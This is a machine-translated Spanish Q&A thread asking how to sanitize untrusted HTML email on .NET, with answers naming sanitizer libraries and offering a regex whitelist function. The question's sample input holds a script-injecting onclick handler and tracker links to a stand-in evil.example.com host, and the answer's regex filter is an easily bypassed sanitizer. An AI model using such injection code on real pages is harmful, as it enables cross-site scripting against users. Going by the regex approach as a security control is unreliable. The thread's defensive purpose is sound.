2010-12-30 8 views
29

Este es un problema común, espero que haya sido completamente resuelto para mí.¿Qué puedo usar para desinfectar el HTML recibido mientras conserva el formato básico?

En un sistema que estoy haciendo para un cliente, queremos aceptar HTML de fuentes no confiables (correo electrónico con formato HTML y también archivos HTML), desinfectarlo para que no tenga scripts, enlaces a recursos externos, y otra seguridad/etc. cuestiones; y luego mostrarlo de forma segura sin perder el formato básico. Por ejemplo, como un cliente de correo electrónico haría con el correo electrónico con formato HTML, pero idealmente sin repetir los 347,821 errores que se han cometido (hasta ahora) en ese campo. :-)

El objetivo es acabar con algo que se sentiría cómodo que muestra a los usuarios internos a través de un iframe en nuestra propia interfaz web, oa través de la WebBrowser class en un .Net Windows Forms aplicación (que parece que no hay más seguro, posiblemente menos), etc. Ejemplo a continuación.

Reconocemos que algo de esto bien puede ensuciar la visualización del texto; esta bien.

Vamos a sanitización del HTML en la recepción y almacenamiento de la versión aséptica (no se preocupe por la parte de almacenamiento   inyección SQL — y similares   — tenemos esa parte cubierta).

El software deberá ejecutarse en Windows Server. COM DLL o ensamblado de .Net preferido. FOSS marcadamente preferido, pero no rompe el trato.

Lo que he encontrado hasta ahora:

  • El AntiSamy.Net project(pero parece no longer be under active development, siendo más de un año detrás de la principal   — y activa   AntiSamy Java project —).
  • Some code de nuestro propio Jeff Atwood, hace alrededor de tres años (bueno, me pregunto qué estaba haciendo ...).
  • El HTML Agility Pack(utilizado por el proyecto AntiSamy.Net anterior), que me daría un analizador robusto; entonces podría implementar mi propia lógica para recorrer el DOM resultante y filtrar todo lo que no incluí en la lista blanca. El paquete de agilidad se ve muy bien, pero estaría confiando en mi propia lista blanca en lugar de reutilizar una rueda que alguien ya ha inventado, así que eso es un desafío.
  • El Microsoft Anti-XSS library

¿Qué recomendaría para esta tarea? Uno de los anteriores? ¿Algo más?


Por ejemplo, queremos eliminar cosas como:

  • script elementos
  • link, img, y esos elementos que llegan a los recursos externos (probablemente reemplace img con el texto "[ imagen eliminada] "o algo así)
  • embed, object, applet, audio, video, y otras etiquetas que intentan crear objetos
  • onclick y código script de controlador de eventos DOM0 similares
  • href s en a elementos que desencadenan código (incluso enlaces, creemos que están bien bien podemos convertir en texto plano que los usuarios tienen que intencionalmente copiar y pegar en un navegador).
  • __________ (las 722 cosas que no he pensado que son la razón por la que estoy buscando para aprovechar algo que ya existe)

Así, por ejemplo, este código HTML:

<!DOCTYPE html> 
<html> 
<head> 
<title>Example</title> 
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css"> 
</head> 
<body> 
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();"> 
<strong>Hi there!</strong> Here's my nefarious tracker image: 
<img src='http://evil.example.com/xparent.gif'> 
</p> 
</body> 
</html> 

se convertiría en

<!DOCTYPE html> 
<html> 
<head> 
<title>Example</title> 
</head> 
<body> 
<p> 
<strong>Hi there!</strong> Here's my nefarious tracker image: 
[image removed] 
</p> 
</body> 
</html> 

(Nota hemos eliminado el link y la onclick por completo, y reemplazó el img con un marcador de posición. Esto es solo un pequeño subconjunto de lo que creemos que tendremos que eliminar.)

+0

Buena pregunta. El análisis manual sería una pesadilla. – Dutchie432

Respuesta

2

Estoy sintiendo que definitivamente necesitaría un analizador que pueda generar una fuente XML/DOM para que pueda aplicar fiter en él para producir Qué estás buscando.

Ver si HtmlTidy o Mozilla o HtmlCleaner analizadores pueden ayudar. HtmlCleaner tiene muchos configurable options que también puede consultar. Específicamente, el transform section que le permite omitir las etiquetas que no necesita.

+0

¡Gracias! Sí, aunque un analizador sintáctico es una pieza importante, como mencioné en relación con HTML Agility Pack, otra pieza importante es saber qué omitir/qué conservar. Prefiero estar en los hombros que crear mi propia lista. desde cero ... (Pero si tengo que hacerlo, lo haré). ¡Gracias por los enlaces del analizador! –

+0

Mire la sección de transformación aquí http://htmlcleaner.sourceforge.net/parameters.php#transform. Tiene la disposición de omitir las etiquetas –

+0

Sí, lo entiendo. Mi punto es la lista de etiquetas (y atributo y ...) para omitir. –

1

Sugiero mirar http://htmlpurifier.org/. Su biblioteca es bastante completa.

+0

Gracias. PHP está completamente fuera de la ecuación, pero eso no significa que no pueda ver su lista blanca en busca de inspiración. –

1

Sugeriría usar otro enfoque. Si controla el método en el que se visualiza el HTML, eliminaría todas las amenazas mediante el uso de un procesamiento HTML que no tenga un motor de scripts ECMA o cualquier capacidad XSS. Veo que va a utilizar el objeto WebBrowser incorporado, y con razón, desea producir HTML que no se pueda usar para atacar a los usuarios.

Recomiendo buscar un motor de visualización HTML básico. Uno que no puede analizar ni comprender ninguna de las funciones de scripting que lo haría vulnerable. Todo el javascript simplemente sería ignorado entonces.

Sin embargo, esto tiene otro problema. Debería asegurarse de que el espectador que está utilizando no sea susceptible a otros tipos de ataques.

+1

Gracias. Tal visor también debería tener un medio para permitirme controlar (prevenir) todas las solicitudes de recursos externos (como el seguimiento de imágenes y demás). Sin embargo, un renderizador puro presumiblemente haría eso como un subproducto de querer que yo le diera algo para recuperar la referencia. :-) Cheers, –

0

Problema interesante, me tomó un tiempo enfrentarlo porque hay muchas cosas que queremos eliminar del usuario, e incluso si hago una larga lista de cosas para eliminar, estas últimas en HTML pueden evolucionar y mi lista Tendría algunos agujeros. No obstante, quiero que los usuarios ingresen algunas cosas simples como negrita, cursiva, párrafos ... prety simple. No hay dudas de que la lista de cosas permitidas es más corta y html puede cambiar más tarde, que no hará agujeros en mi lista a menos que html pare sea compatible con estas cosas simples. Así que empieza a pensar lo contrario, di solo lo que permites, con mucho dolor porque no soy un experto en regex (así que por favor algunas personas regex me corrigen aquí o mejoran) codifiqué esta expresión y me forma incluso antes de que llegue HTML5.

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"") 

(b | i | p | br) < - esta es la lista de etiquetas permitidas, no dude en añadir un poco.

este es un punto de inicio y eso es por qué algunas personas expresiones regulares deben mejorar para eliminar también los atributos, como onclick

si hago esto:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*> 

etiquetas con material onclick u otro serán eliminados, pero las etiquetas de cierre correspondientes permanecerán y, después de todo, no queremos que esas etiquetas se eliminen, solo queremos eliminar los atributos de etiqueta.

tal vez una segunda pasada con expresiones regulares

(?!<[^<>\s]+)\s[^</>]+(?=[/>]) 

Estoy en lo cierto? ¿se puede componer en una sola pasada?

todavía no tenemos relación entre las etiquetas (apertura/cierre), no hay gran oferta hasta ahora. ¿Puede el atributo eliminar escribir para eliminar todo no de una lista blanca? (posiblemente sí).

un último problema .. al retirar etiquetas como guión el contenido sigue siendo, su deseable cuando la eliminación de la fuente pero no guión, así que podemos hacer una primera pasada con

<(script|object|embed)[^>]*>.*</\1> 

que se elimine ciertas etiquetas y su contenido ... pero es una lista negra, lo que significa que debe vigilarla en caso de que html cambie.

nota: todos con "GI"

edición:

unió a todo lo anterior sobre esta función

String.prototype.sanitizeHTML=function (white,black) { 
    if (!white) white="b|i|p|br";//allowed tags 
    if (!black) black="script|object|embed";//complete remove tags 
    e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi"); 
    return this.replace(e,""); 
} 

lista Negro -> etiqueta completa, quitar y el contenido Lista blanca - > conservar las etiquetas otras etiquetas se eliminan pero el contenido de la etiqueta se retiene todos los atributos de las etiquetas de la lista blanca (los restantes) se eliminan

todavía hay lugar para una lista blanca de atributos (no implementada anteriormente) porque si quiero preservar IMG, entonces el src debe permanecer ... ¿y qué pasa con el seguimiento de imágenes?

3

Esta es una pregunta anterior pero relevante.

Estamos usando el HtmlSanitizer.biblioteca de red, que:

También en NuGet

+1

¡Se ve bien! ¡Gracias! En estos días, por supuesto, la pregunta se cerraría como una pregunta de "recomendación". Realmente aprecio tu respuesta de todos modos. –

Cuestiones relacionadas